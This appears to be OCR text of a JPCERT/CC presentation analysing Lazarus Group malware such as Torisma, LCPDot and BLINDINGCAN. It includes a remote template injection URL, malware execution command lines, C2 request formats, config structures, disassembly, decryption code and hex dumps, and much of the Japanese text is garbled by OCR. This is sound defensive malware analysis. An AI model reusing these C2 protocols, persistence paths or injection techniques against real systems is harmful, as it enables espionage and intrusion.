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Operation Dream Job

Operation JTrack

Lazarus TTPODfZER
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Lazarus Group’s MATA Framework
I everaaed to Denlov TFlower

Lazarus targets defense industry with ThreatNeedle

Greetings from Lazarus LeEEICEACCEgid: Dacls RATBLinuxT

Anatomy of a cyber espionage
ampadn - Lazarus supply-chain attack in
South Korea
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*OPERATION x

BLOGKBUSTER

Unraveling the Long Thread of the Sony Attack
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Lazarus

2016/2 "Operation Blockbuster” report (Novetta etc.)

Bluenoroff
*2017/4 "Lazarus Under The Hood" report (Kaspersky)

Andariel
«2017/7_FSI(Financial Security Institute, Korea)

TEMP.Hermit
+2017/9 Fireeye

APT38
+2018/10 Fireeye

Appleworm, Stonefly

/\ *2020/6 Symantec(Broadcom)
X
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Pieces of a puzzle

Black Banshee Black Shoggoth

Government, policy, Diplomacy; IRIEErIatE
security espionage Journalists;
Defence Dissidents; minorities;

Academia; think tanks reporters on DPRK

Japan SEA; Russia

From our visibility & Progressive evolution from

collection, Black Banshee Banshee’s 2019 targeting,

has focused mostly on: CEGETER s in 2020 Black Artemis has
“picked up” some traditional

South Korea
Black Banshee targets (e.g.
Japan (defence) Financially-motivated energy nuclear)_ g ( g

US p0||cy cyber crime

Supranational bodies Nuclear research Black Shoggoth & Banshee

India; UK continue overlapping in
targeting of journalists,
NGOs, plus East & SE Asia.

Strategic targets (sanctions;
THAAD deployment issues)

Black Artemis

To catch a Banshee
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Unknown Operation Dreamjob
Subgroup Operation North Star

Targeting
defense industry

Overlapping attack
infrastructure
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Group using
ThreatNeedle

Group using
Bookcode
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Subgroup using Dtrack
®_0 [ 4 ® o

Similar TTPs

Attack

campaignin
Overlapping attack India(2019)
infrastructure
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« Remote template
Injection
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Company: The Boeing Company
Department: Human Resources
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Remote template injection

B MSWordD 72 L —bigeZfIFAL T, ¥ O2O0Z80RFRFa1 XUk
(17.dotm) ZHET—/N\—HS545 o O0—R

<Relationship TargetMode="External"
Target="https[:]//www.astedams|.]it/uploads/template/17.dotm"

Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedT
emplate" Id="rld1"/> </Relationships>

17.dotm
B 32bit - 64bitAADVIVI I 7ET A RFAXIMREENTLD

BY70ICIF BEEITBAVINI I P ERSND v IXR—VIDEE
SF—HMEENTLS
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Torisma

TorismaldEI 1—IVZEF O 0O0—RH KLU
ETIDdDVIITITT

NI )

usosqlite3.dat N NwhZ P!V
« XORLI—FTNTL\SD

grbE ,[EE¥E

- Y —N—5RE

AccountStore.bak

NIV T 7EFFOINI ST

"C:¥Windows¥System32¥rundll32.exe"
C:¥ProgramData¥USOShared¥usosqlite3.dat,sqglite3_create_functionex

mssqlite3 server manaqementlp_LP_m
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Trisma

X ETBHR (AccountStore.bak)
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char signature[12];
char nodata;

int time;

int unknown;

__int64 drive_check_time;

int sleep_time;
char URL1[514];
char URL2[514];
char URL3[514];
char URL4[514];
char URL5[514];
char URL6[514];
int URL1_size;

int URL2_size;

int URL3_size;

int URL4_size;

int URL5_size;

int URL6_size;

int flag_disk_check;
int flag_WTSAction;

char ID[26];
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BISHEEE (1)

1st yOT X

POST /[PATH] HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Accept: */*

Connection: Keep-Alive

Content-Length: [Length]

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR
3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)

Host: [Server]

Cache-Control: no-cache

ACTION=VIEW&PAGE=[MAC Address]&CODE=[Z 2 ¥ LT3 EF&CACHE=[Base64 7 —%~ REQUEST=[T 2 ¥ LT3E=F]

. 00000000 68 00 74 00 74 00 70 00 73 00 5a 00 2 00 2F 00 [hei-L.pos.t.7.7.]

00000010 &1 00 Gb 00 72 00 &1 00 Bd 00 70 00 &f 00 72 00 |a.k.r.a.m.p.0.r.|

BaSEG4 ] — ; DO0ODOZD 74 0D &1 00 Bc 00 Ze DO BF DO 72 00 87 00 2F 00 |L.a.l...0.roz. /"]
00000030 B4 00 G5 00 G 00 76 DO 2F 00 70 00 75 00 52 00 |d.e.l.v./-p.u.b.| U RL MAC dd
DO00D0AD Bc 00 69 00 63 00 2f 0O 76 00 BF 00 69 00 53 00 |1.i.c./wv.0.1.c.| ’ a ress
00000050 B5 00 2f 00 76 00 5f 0O B9 00 B3 00 65 00 Ze 00 |e./.v.0.i.coe...] W
DOOODOED 70 0D 68 00 70 00 0O DO 00 00 00 00 00 00 00 00 [p.hopeeeesnnsnns | N é: b\Agi n%
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 D0 |- eoensnononns | fo 8 =
*
00000400 30 30 30 63 32 39 B6 B1 30 B5 39 33 30 90 30 30 IDDDCQSfaDCSSDDDDI
DOOOD4ID 00 00 00 00 00 00 00 DO 37 36 34 35 38 37 38 37 |........ 75459767 |
DO00D4Z0 33 32 00 00 4 00 49 00 31 00 38 0D 38 00 38 00 |32..H.I.l.8.8.9.|
00000430 00 00 00 00 02 00 00 00 02 00 00 00 U |

c2tr—/\—

Copyright ©2021 JPCERT/CC All rights reserved.

LIRS ETGENCYAT

oD AR R “Yourrequest has been accepted. ClientID: {f9102bc8a7d81ef01ba}”
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2d I JOT X~

POST /[PATH] HTTP/1.1

Content-Type: application/x-www-form-urlencoded
Accept: */*

Connection: Keep-Alive

Content-Length: [Length]

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET
CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)

Host: [Server]

Cache-Control: no-cache

ACTION=PREVPAGE&CODE=C[ T ¥ L/GEFI&RES=[T 2 ¥ LT3 EF]
LARIZAT—H
Base64 T2/ 1— I (*1) + VEST-32 (*2)

U SRS

*2 https://www.ecrypt.eu.org/stream/vest.html

Vi S NUE.
22 Copy right ©2021 JPCERT/CC Al right d. i iglisr Emidrgnay Hasgonss Tz Geaos M( } 4 POCER]T
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VEST Ciphers

VEST Ciphers

B EEDRESIEYCRY —/N\—BHREEDREFHRDESICEMR
S bF—
— ff7172d9c888b7a88a7d77372112d772

1[ _inted __Tastca mal_config_vest_decode(__inted notuse, woid *decode_data, unsigned int deata)
3 id *size; [f [rsp+20h] [rbp-88h]
4 vid *v5; fF [rsp+30h] [rbp-78h]
HL{JCAL key, f/ [rsp+38h] [rbp-70h]
7l ws = Dperatcur new(0xl4uiced);
if (
3 = (HLOCAL *JImyalloc(({__int&4)vs);
10 e]se
11 ey = 0764;
12| size = Dperatar‘ new(deata + 4);
13| memset(size, 0, deata + 4164)
14| ECRYPT_AE_keysetup(key, ‘FF?L?Zd?LEEEb?aEEa?cF?S?ZJ_J_Zd??Z szuu),
15| ECRYPT_ ves‘t decu:ude(l:_ nt 4) cey, (_inted)d de_data, (__1nted)s deata);
16| memset(de _data, 0, deata);
17 qmemcpyl: ecode_data, size, -:.ea—_a);
18 1if l: S1Z€E :l
19 J_J_d__free_base(=1ze);
20 Af ( key )

21 myfree(ley, 13;
22| return 10291164;
23t

23 Copyright ©2021 JPCERT/CC All rights reserv ed. Jeiezin) Gonolitar Siidrejanay Masdanss Tzl Goe



TorismaTt1—JU Trisma

assure es:nOTMING, SSINOTMTNG, OS:NOETAING, TS:NOTN1NG, 0S:nOTAINg
000 44 00 00 00 command_size  dd 4Ah
0000000000004 command: L SR\ A\
[£29000:0000000000000004 43 00 3A 00 5C 00 50 00+ text "UTF-16LE", 'C:\ProgramData\Adobe\AdobeUtility. exe’ 1
0:000000000000004E 2C 0C 00 00 data_size dd 0c2ch ~ ! — 1 —
g000 2
0000000000005 ROUTINE
mal_main proc near
dncreat jonDisposition duord ptr -1igh
dnFlagsndattributes= dwo 10
hTemplateFile = qu it
var_F8 ey
api per ~oEsh
hEile ptr -
var_60 = dw “Eon
Number0fBytesiiritten= duord ptr -5Ch
TDistanceToMlove = d sh
var_s0 “on
dniovellethod -ach 5
ar_as “ash
var_a4 -44h
var_40 -40h
var_3F 3Fh
var_3E 3th
var_3D -30h
var_3c “3ch
var_38 38k
var_3A -3h
var_30 ~30h
var_2F -2Fh -
var_2€ -2ch
var_2D -20h
var_ac ~2ch
var_28 ~28h
var_2A ~24h
var_20 -20h
var_1F -1Fh O
var_1E -1eh
var_1p r ~1Dh -—
var_1C “1ch
var_18 -18h
var_1A -1ah
var_10 -10n
ToFTleNane s
2
000 48 89 4C 24 08 mov  [rspelpFileName], rox
000 57 push  rdi
008 48 81 EC 30 01 00 00 sub rsp, 130h
H
Toc_5F: DATA XREF: mal_api_address+C|r
138 48 D 4C 24 50 lea  rox, [rspeissheapi]
138 £8 DS 06 00 00 call malget
138 C7 44 24 40 00 00 00 00 rov rsprL3shevar_F8], 0
138 48 8D 4C 24 50 Tea r':x‘ [rzprrichiani]
138 £8 47 08 00 00 call  malls
135 48 83 F3 FF o e orRRLRER R e
138 OF 84 90 04 00 00 jz loc_515
138 48 88 5C 24 40 0L 00 00 mov  rex, [rspri3sh+lpEileNane] ; 1pFileName
138 FF 94 24 C3 00 00 00 Gl [rsprisshiapt. CotFleAttributesh] | GetFileAttributesw
138 89 84 24 D3 00 00 00 mov  [rsp+l3shs
138 48 C7 84 24 DO 00 00 00+ Mov  [rapridsheheiTels OFFFFRFFFFFFFFRFFh
138 FE FF FF FF
135 48 C7 44 24 30 00 00 00+ mov  [rspel3sh+hTenplateFile], 0 ; hTemplateFile
138 00
13 88 84 24 D3 00 00 00 mov  eax, [rsprl3Ghvar 6
135 89 44 24 23 mov  [rspel3shedelagsAndattributes], eax ; doflagsAndattributes
138 C7 44 24 20 03 00 00 00 mov - [repeiaseacreationgrzzosciond, OPEN_EXISTING ; dwcreationDisposition
138 45 33 C9 xor  rod, rad tyAttributes
135 41 83 02 00 00 00 mov  r8d, FILE_SHARE_WR dwShar eMode
C 135 BA 00 00 00 CO mov  edx, 0C0000000h ; dwbesiredAccess
138 48 8B BC 24 40 01 00 00 mov. rex, [rsp+l3sh+lpFileName] ; TpFileName
138 FF 54 24 58 call  [rspsi3shiapi. (reateﬁ]ew] CreateFilew -~y \ /
138 48 §9 84 24 DO 00 00 00 mov  [rspsl3shihFile], -~
138 48 83 BC 24 DO 00 00 00+ cmp [rapr128hhFiTe] ) OFFFFFFEFFFFFFFFFR — / I
138 FF
138 OF 84 89 03 00 00 iz Toc_a /
138 C7 84 24 E8 00 00 00 00+ mov r‘ﬁa‘ﬂish?var 501,
138 00 00 00
138 C7 84 24 FO 00 00 00 00+ mov  [rspsl3shsvar 48], 0
138 00 00 00
138 C7 84 24 EC 00 00 00 00+ mov  [rsprl3shrdwdovedethod], 0
138 60 00 00
135 C7 84 24 OC 00 00 00 00+ mov  [rsp+l38h+NumberOfByteshritten], 0
138 00 00 00
138 C7 84 24 F4 00 00 00 00+ mov  [rspsl3shsvar_44], 0
138 00 00 00
138 48 C7 84 24 EO 00 00 00+ mov  aword ptr [rsp+l3sh+1DistanceTotovel, O
138 00 60 00 O
13 BA 00 10 00 00 mov edx, 10000 ; ubytes
138 89 40 00 00 00 mov  ecx ‘e i uFla
[c29000:0000000000000141 135 FF 94 24 30 00 00 00 TN fraprissheaps. Lotalaliod] ; Localalloc

24 Copyright ©2021 JPCERT/CC All rights reserv ed. YARESPONSENEANTNOCO0TG




Torisma €I 1—JU

BeR 2 b DIBEREE

« 7R, AE1—9&, PPRLVA ALY RT A
o e S

« C:¥ProgramData¥Adobe¥AdobeUtility.exe

9INA bDT—F%ZxlE (FHEAHH)

« f91b0118ccd537e89a7bc9174dab483eff1dcf68110babcd
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2t — /N —

-)|®ﬂ|'“‘_-_::s:.-'.-'inovecommerce,com,br.-'::_|:: c/pdf/ E1| ¢ || Search | w B @ 3+ @ S =
Index of /public/pdf/
MHame Last modified Size Description

£ parent Director 12:08

view.ph 15:34 8k
D ymausas e 23:38 4k
D ~dmfC8159751787 . tmp 4k
D ~dmfCB582592317 . tmp dk
D ~dmfCB826752134. tmp 8k
D ~dmfCB951763650. tmp 4k
D ~dmfC1892079338. tmp ak
D ~dmfC2488245885. tmp 4k
D ~dmfC2874705689. tmp 4k
D ~dmfC2946421170. tmp 22-5ep-2020 23:38 ak
D ~dmfC4091387434. tmp 21-5ep-2020 17:30 4k
D ~dmfC6214233886 . tmp 22-Sep-2020 23:38 4k
D ~dmfC7729617617 . tmp 22-5ep-2020 23:38 4k
D ~dmfCB8495818591. tmp 22-5ep-2020 12:46 4k

Proudly Served by LiteSpeed Web Server at inovecommerce.com.br Port 443
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LCPDot BLINDINGCAN_RC4 BLINDINGCAN_AES
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LCPDot
LCPDotlEEY 1—ILESY O O0—RELVY

ETIBVIVITT
RERHZE D7 1 IVICIRTF

B %TEMP%¥. ¥ntuser.log1

— SSPI (Security Support Provider Interface)é_:{%j ERC4I 11— I\“
— BEEF—EVILT I 7OERTHICSZA 5NBD/INT A=Y DSHAE

c2t—/\iER
_ENCIZIRDNOI  for i in decoed_base64 data:

print chr(((ord(i) » 0x25) - 0x7a))
TV I 7EFEOIVIRSA Y RC4+—

"C:¥Windows¥System32¥cmd.exe" /¢ C¥ProgramData¥Adobe¥Adobe.bin -p Ox53A4C60B

. ] \}‘\ /o ‘\/
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https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/North%20Korea/APT/Lazarus/2020-05-05/CSV/IOC-Lazarus_2020_05_05.csv

BISHEEE (1)

1st yOT X

POST /[URL] HTTP/1.1

Accept: text/html

Accept-Language: en-us

Content-Type: application/x-www-form-urlencoded

Cookie: SESSID=[Base64 7 —%]

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: [Host]
Content-Length: [Size]
Connection: Keep-Alive
Cache-Control: no-cache

Cookie=Enable&CookieV=[Z 2% L7REF]&Cookie Time=64

—\V

Base6475—%
[ID]-101010
- 1RO IR MEDOL XK X “Authentication Success”
2EBDUI IR MRICEY 2 —-IVESY U O—R -
T T
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BLINDINGCAN_RC4
BLINDINGCAN RC4ld. O—4—ICO—REINBZET

E{ETDVIVIITT

O—4—

loghours.db
SR DLLT 71U

NIIIT7
state.db e T—HTPAI
«XORLZYI—FENTLD

cT—5T71I
«XORILZI—FRETNTL\SD

S SO ERAT ("
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BLINDINGCAN_RC4DikHE

FI71IVDINZH
B [1—% — | C¥ProgramData¥Microsoft¥Windows¥Caches¥loghours.db

B A1 | C¥ProgramData¥Package Cache¥{8c3f057e-d6a6-4338-ac6a-
f1c795a6577b}¥state.db

B =2E5% | C¥ProgramData¥Package Cache¥{8c3f057e-d6a6-4338-ac6a-
f1c795a6577b}¥state.rsm

T—EXEER

B HKEY_LOCAL_MACHINE¥System¥CurrentControlSet¥Services¥LogonHours¥Para
meters

B ServiceMain = KSMain
T—=YI7AIVDTI—F+—

M [File Name][Export Name][Service Name]
— e.g. loghours.dbKSMainLogonHours
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EXEBHRI 71V

BLINDINGCAN_RC4

noonoooo
noonaoto
noonoozo
00000030
00000040
¥

noooatio
noonorzo
0oonotT o
00000140
0oonot1s0
*

noonozio
00000220
00000230
00000240
00000250
¥

noonosto
0oonoszo
00000330
00000340
00000350
*

noooodnn
noono4zo
00000430
00000440
00000450
¥

0oo0os2o
00000530
00000540
*

00000BED
00000670
00000680
00000640
00000620
00000BkO
00000BcO
¥

00000a&0
0o00os4o0

-

oo
77
2e
61
oo

2f
Bf
T3
on
on

T4
T2
65
on
on

oo
72
Ge
B1
oo

0
B1
72
Be
oo

7
B3
2f
on
on

T3
g1
af
on
on

[iF]
Bf
bc
70
oo
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|g-G0...<....hitp]
|5t/ Awww automerc|
lado.co.cr/emplenl
| fess/main. jsp. .|

|https:/Awww.autol
|mercado.co.cr/em|
|pleasess/nain. js|

[....https:/ A, |
|autonercado.co.c|
|riempleo/ces/nai|
[T P |

[eveennns https: /|
|www.curiof irenze|
| .com/include/inc|
|-zite.asp....... |

[eeeiaeaenn, hite|
|51/ www .ne-ha.or
| 2/files/news/Ahul
|mbs/thunbs .asp. .|

struct config

{

int server_count;

CHAR SERVER[1300];

int flag_https;

struct in_addr proxy_server;
__int16 proxy_port;
intc2_retry_count;

int flag_diskinfo;

int flag_session_info;

int flag_config_save;
__int16 wait_timevalue;
__int64 running_date;
__int16seed1;
__int16seed?;
__int16seed3[46];

char unknown_59C[96];
__int128unknown _5FC;
__int128 unknown_60C;
__int128 unknown_61C;
__int128 unknown_62C;
__int128 unknown_63C;
__int128 unknown_64C;
intunknown_65C;

_BYTE gap660[20];

char cmd_path[520];
const WCHAR temp_path;
_BYTE gap87E[518];

%
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& RN
JR{ERERE BLINDINGCAN RC4

1st yOT X

POST /[PATH] HTTP/1.1

Connection: Keep-Alive

Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded
Accept: */*

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Host: [Server]

Content-Length: [Length] RC4 + Base64

id=[ l[param_1:pa :;param_3]&[param_1]=[sessionID]&[ 1= [fixedString]&[parra m_3]=[datagram]

INSAX=F[FLULTDOXFINE T VY LITERIND

boardid,bbsNo,strBoardID,userid,bbs,filename,code,pid,seqNo,ReportID,v,PageNumber,num,view,read,action,page,mode,i
dx,cateld,bbsld,pType,pcode,index,tbl,idx_num,act,bbs_id,bbs_form,bid,bbscate,menu,tcode,b_code,bname,tb,borad01,bo
rad02,borad03,mid,newsid,table,Board_seq,bc_idx,seq,ArticlelD,B_Notice,nowPage,webid,boardDiv,sub_idx

fixedString[FLA FDXFFIZRGAT ) I—RUET—%
T1B7D95256A2001E
33 Copyright ©2021 JPCERT/CC All rights reserved. pan Computer Emergenc w D r\r Y
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NARY LRC4

def custom_rc4(data, key):

11 R5 LRCAIZL, BEDE BEER

— box = list(range(256))
%’ftk{%ﬁﬁiﬂ?h\% foriin range(256):
x = (x + int(box[i]) + int(key[i % len(key)])) % 256
box]i], box[x] = box[x], box]i]

x=0
for i in range(0xC00):
i=i+1
x = (x + int(box[i % 256])) % 256
WOW_X = X
box[i % 256], box[x] = box[x], box[i % 256]
wow_y =i % 256

X = WOW_y
y = WOW_X
out =[]
for char in data:
x=(x+1) %256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
outappend(chr(char » box[(box[x] + box[y]) % 256]))

return ".join(out)
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Vv RUR B

35‘

AN R
0x8201 VAT LIEREE

0x8208 =1 JIEHREE
0x8209 71 LU KU—E&
0x8210 T—EX—K&

0x8211 7V 7O—R (zlibE#Hg)

0x8212 #orO—RK
0x8214 OB RE1T
0x8215 O XEIT (1—1EE)
0x8217 7OtEX—E&

0x8224 7Ot R{FiL

Copy right ©2021 JPCERT/CC All rights reserved.

0x8225 7 71 JVHIER (sdelete)
0x8226 &E{SHEER

0x8227 HLbTA4 LI NUEE
T 7 A IAERREFREIZEE

BIEREREE

0x8231
0x8232
0x8233 w3 U#RT
0x8240 721X L=l
RE BHREMF
REBRDER

71 LD~ JIERERG

0x8241
0x8242
0x8243

0 AP ENNCOTIPULETREHIETGETICY AR ESH)

ISENESMNCO0IG

0x8244

None

0x8247
0x8248 R'J—T
0x8249 771 ILEADEIS
0x8262 7 71 JUIERK

0x8264 71 I)LI1E—

0x8265 ~ 71 ILiZED

0x8272 7 71 ILHIFR




BLINDINGCAN_AES

BLINDINGCAN_AES|ZLateral MovementBCfERTND
BEI1-I)LEY 20— RUTEET D

T 71 )LD

— IRTFLITANWYICTEEFZFIND

— 714V AHRKREL (150MBIZE)

— VMProtect{$ 8

— NFH|ZEAESTHES{LLTLS

B SEBRISILLTOLI A NI MJICHEREFESIND

— HKEY_LOCAL_MACHINE¥SYSTEM¥CurrentControlSet¥Services¥eventlog¥Appli
cation

— Value: Emulate
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X AE IR ¥R

00000000 de 06 00 00 02 00 00 00 68 00 74 00 74 00 70 00
00000010 73 00 3a 00 2f 00 2f 00 6d 00 6b 00 2e 00 62 00
00000020 69 00 74 00 61 00 6¢c 00 2e 00 63 00 6f 00 6d 00
00000030 2e 00 62 00 72 00 2f 00 73 00 61 00 63 00 2f 00 |..b.
00000040 46 00 6f 00 72 00 6d 00 75 00 6¢ 00 65 00 2f 00
00000050 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 2e 00
00000060 6a 00 73 00 70 00 40 00 44 00 69 00 67 00 69 00
00000070 74 00 61 00 6¢c 00 2e 00 6a 00 73 00 70 00 40 00
00000080 42 00 72 00 6f 00 77 00 73 00 65 00 72 00 2e 00
00000090 6a 00 73 00 70 00 40 00 46 00 69 00 65 00 6c 00
000000a0 64 00 73 00 2e 00 6a 00 73 00 70 00 40 00 4d 00
000000b0 61 00 6b 00 65 00 46 00 6f 00 72 00 6d 00 75 00
000000c0 6¢ 00 65 00 2e 00 6a 00 73 00 70 00 00 00 6e 00
000000d0 73 00 2e 00 6a 00 73 00 70 00 00 00 00 00 00 00 o
000000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................

*
00000100 00 00 00 00 00 00 00 00 68 00 74 00 74 00 70 00 |........h.
00000110 73 00 3a 00 2f 00 2f 00 6d 00 6b 00 2e 00 62 00 |s. :.
00000120 69 00 74 00 61 00 6¢c 00 2e 00 63 00 6f 00 6d 00 |i.t.
00000130 2e 00 62 00 72 00 2f 00 73 00 61 00 63 00 2f 00 |..b.
00000140 46 00 6f 00 72 00 6d 00 75 00 6c 00 65 00 2f 00 |F
00000150 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 2e 00 |M.
00000160 6a 00 73 00 70 00 40 00 44 00 69 00 67 00 69 00 |}
00000170 74 00 61 00 6¢c 00 2e 00 6a 00 73 00 70 00 40 00 |t
00000180 42 00 72 00 6f 00 77 00 73 00 65 00 72 00 2e 00 (B
3
d
a
|
s

T

el
e
ot

i ok - o ol el e

struct config

e |

int server_count;
1| char server1[256];
eM11 - char server2[256];
" char server3[256];
char server4[256];
char server5[256];
1| char cmd[256]; /* unused */

SV 000

=

PO 0.0 —00 Xt
. -

o —m o mro=m.
DYoL MO ORE ®:

0.
Cc
e
i || intnot_use_1; /* unused */
P, . . .
r Int running_time;

int not_use_2; /* unused */
int not_use_3; /* unused */
* int not_use_4; /* unused */
00000500 00 00 00 00 00 00 00 00 63 00 6d 00 64 00 2¢ 00 |........ c.m.d...

00000510 65 00 78 00 65 00 00 00 00 00 00 00 00 00 00 00 |e.x.e........... i - [* *
00000520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................ Int nOt—use—S’ / unused /
*

00000600 00 00 00 00 00 00 00 00 Oa 00 00 00 00 00 00 00 |................ int S|eep_tlme,'
00000610 00 00 00 00 00 00 00 00 00 00 01 00 00 00 01 00 |.. ... .. . ... 0 .
00000620 00 00 03 00 00 00 3c 00 00 00 78 00 36 00 34 00 | ... <. X 6.4 char id[80]; /* unused */

00000630 5 00 31 00 2¢ 00 30 00 00 00 00 00 00 00 00 00 | . 1...0......... ) o " . .
00000640 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................ Int set uniq |d; / whether uniq id is set or not /
9 . . .

.. e . . %
000003 92 00 55 0 38 00 %9 00 34 0o 9 00 99 00 38 o0 |z5594 756 || Charuniq_id[60]; /* A unique value is generated from computer name */
00000690 33 00 31 00 33 00 36 00 33 00 36 00 00 00 00 00 |3.1.3.6.3

00000620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 et i char AES_ke)/[42];
000006b0 00 00 00 00 00 00 00 00 00 00 52 O 3200 |0 Ro2 }:
505 || )

00000190 6a 00 73 00 70 00 40 00 46 00 69 00 65 00 6¢c 00
000001a0 64 00 73 00 2e 00 6a 00 73 00 70 00 40 00 4d 00
000001b0 61 00 6b 00 65 00 46 00 6f 00 72 00 6d 00 75 00
000001c0 6¢c 00 65 00 2e 00 6a 00 73 00 70 00 00 00 6e 00
000001d0 73 00 2e 00 6a 00 73 00 70 00 00 00 00 00 00 00 |s. G
000001e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................

P B3O T
L PeE

000006c0 7a 00 57 00 4c 00 79 00 47 00 35 00 30 00 66 00 z
000006d0 50 00 49 00 50 00 6b 00 51 00 00 00 00 00 00 00 |P.I. A
000006e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................
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YEH T I—R

B AES128 (CBCE—R) W AP| #5571

— F—[ETVAM PXFE UTUEE — APIXZFFZAESTRES1EL TL)
Nad7=zH. xFD16/81 DA %)
EdEE

ZUE mov Lrsp+iLsn+var_soZ|, ax .
|2(3 inz loc_7FEEEFCAE9E | "= L
|l
- v 128 lea rdx, [rsp+l20h+var_100]
Edl = .
?(Eri—-‘lea rdx, aRc2zwlyg56fpip ; "RC2zWLyG58FPIPkQ" 128 mov réd, 4eh ; '@
28 lea rcx, AES_key 128 mov rcx, rax
208 call  mal AES_init 128 mov [rsp+128h+var_1080], 1BCD114Ch
;gg iali Tl e L ailiess 128 mov [rsp+126h+var FC],
2c8 Jii :E;;te?;g?FEEEFCAlEQQ 128 mov [rsp+126h+var_F8],
128 mov [rsp+120h+var_F4], 544EBF15h
== ' 128 mov [rsp+120h+var_FO], 35DB5469h
128 mov [rsp+12@h+var EC], 47B8E965h
loc_7FEEEFCAB99: 128 mov [rsp+128h+var_E8],
208 call mal_get api kerne 128 mov [rsp+128h+var_EA4],
gg: ??t Eﬁzrte?gc 7FEEEF( 128 mov [rsp+120h+var_F0],
= 128 mov [rsp+120h+var_DC],
128 mov [rsp+12@h+var_D8], 5212BFBh
“ 128 mov [rbp+57h+var D47,
32/ \ 4 I\ 0)#_ 128 mov [rbp+57h+var Da],
128 mov [rbp+57h+var_CC], 67C7A566h
128 mov [rbp+57h+var_C8],
128 mov [rbp+57h+var_C4], 26A25817h
128 call mal_load_api_address
128 mov cs:CreateToolhelp32Snapshot, rax
128 test rax, rax
128 jz loc_7FEEEFC432D
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BISHEEE

1st yOT X

POST /[Path]HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Cookie: token=[T % L7MBAMD)[FREEF — (47 | hBE EIE

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77
Safari/537.36

Content-Length: [Size]

Host:[Server]

[param]=[Base64 7 — %]
INGA=FIFUTDOXFINNG S VT LISEREIND

tname;blogdata;content;thesis;method;bbs;level;maincode;tab;idx;tb;isbn;entry;doc;category;articles;portal;notice;product
;themes;manual;parent;slide;vacon;tag;tistory;property;course;plugin

Base6d 7—H T A—< W bk
[AES Key]@[Uniq ID]
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BLINDINGCAN AES £ 1—JU

BLINDINGCAN_AES

T a1—IIZIFZED
BEENSENTHY.,
595 0— RRAA ¥
DEFZEITD
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00000000
00000010
00000020

*
00000040
00000050
00000060
00000070
00000080
00000090
00000020
000000b0
000000c0
000000d0
000000e0
0000000
00000100
00000110
00000120
00000130
00000140
00000150
00000160
00000170
00000180
00000190
00000120

*
0000010
00000200
00000210
00000220
00000230
00000240
00000250
00000260
00000270
00000280

00 64 01
ff ff 00
00 00 00

f0 00 00
cd 21 54
61 6e 6e
44 4f 53
00 00 00
27 f2 f3
Ob f2 f3
2¢ f2 f3
ab f2 f3
26 f2 f3
27 12 13
00 00 00
00 00 00
00 60 01
00 10 02
00 02 00
00 00 00
02 00 40
00 00 00
00 00 00
54 00 00
b8 01 00
00 00 00

00 00 00
00 00 00
00 04 00
80 00 00
00 10 02
00 00 00
63 00 00
00 60 01
40 00 00
00 00 00

00 4d 5a 90 00
00 b8 00 00 00
00 00 00 00 00

00 Oe 1f ba Oe
68 69 73 20 70
6f 74 20 62 65
20 6d 6f 64 65
00 63 93 9d bhd
ee b4 bc 6b ee
ee 48 84 59 ee
ee 2e 8a 60 ee
ee 48 84 5c ee
ee 48 84 6e ee
ee 00 00 00 00
00 50 45 00 00
00 00 00 00 00
00 00 10 00 00
00 00 00 00 80
00 05 00 02 00
00 00 80 03 00
01 00 00 10 00
00 00 00 10 00
00 00 00 00 00
00 b8 71 03 00
00 00 10 03 00
00 00 00 00 00

00 00 00 00 00
00 00 00 02 00
00 00 00 00 00
e0 55 50 58 31
00 00 5¢ 01 00
00 00 00 00 00
00 00 10 00 00
00 00 00 00 00
¢0 00 00 00 00
00 00 00 00 00

; - ok o
AR NEO PULETSETEIGENCY MR ESPONSEN EATTNEO0TG oente §
/ flg.

03 00 00 00 04 00
00 00 00 00 40 00
00 00 00 00 00 00

00 b4 09 cd 21 b8
72 6f 67 72 61 6d
20 72 75 6e 20 69
2e 0d 0d Oa 24 00
2] T2 13 ee 21 12
25 2 f3 ee 48 84
5d f2 f3 ee 48 84
2a f2 3 ee 27 f2
2c f2 3 ee 48 84
26 f2 3 ee 52 69
00 00 00 00 00 00
64 86 03 00 f7 12
f0 00 22 20 Ob 02
00 00 02 00 50 69
01 00 00 00 00 10
00 00 00 00 05 00
00 10 00 00 00 00
00 00 00 00 00 10
00 00 00 00 00 10
10 00 00 00 58 73
a0 01 00 00 00 70
a4 19 00 00 00 00
00 00 00 00 00 00

00 00 00 00 55 50
00 10 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 60
00 04 00 00 00 00
40 00 00 e0 2e 72
00 70 03 00 00 04
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00

00 00
00 00
00 00

01 4c
20 63
6e 20
00 00

13 72
00 00
00 00
00 00
00 00

............ il

. 1This program ¢
annot be run in

DOS mode:...$..
. T
— o ) §
HY.]...Hm
....... R —
H¥ . . ..Hh
& ..H.n. & ..Rich
PE.d....."

s Ve v sl Pl
Y P
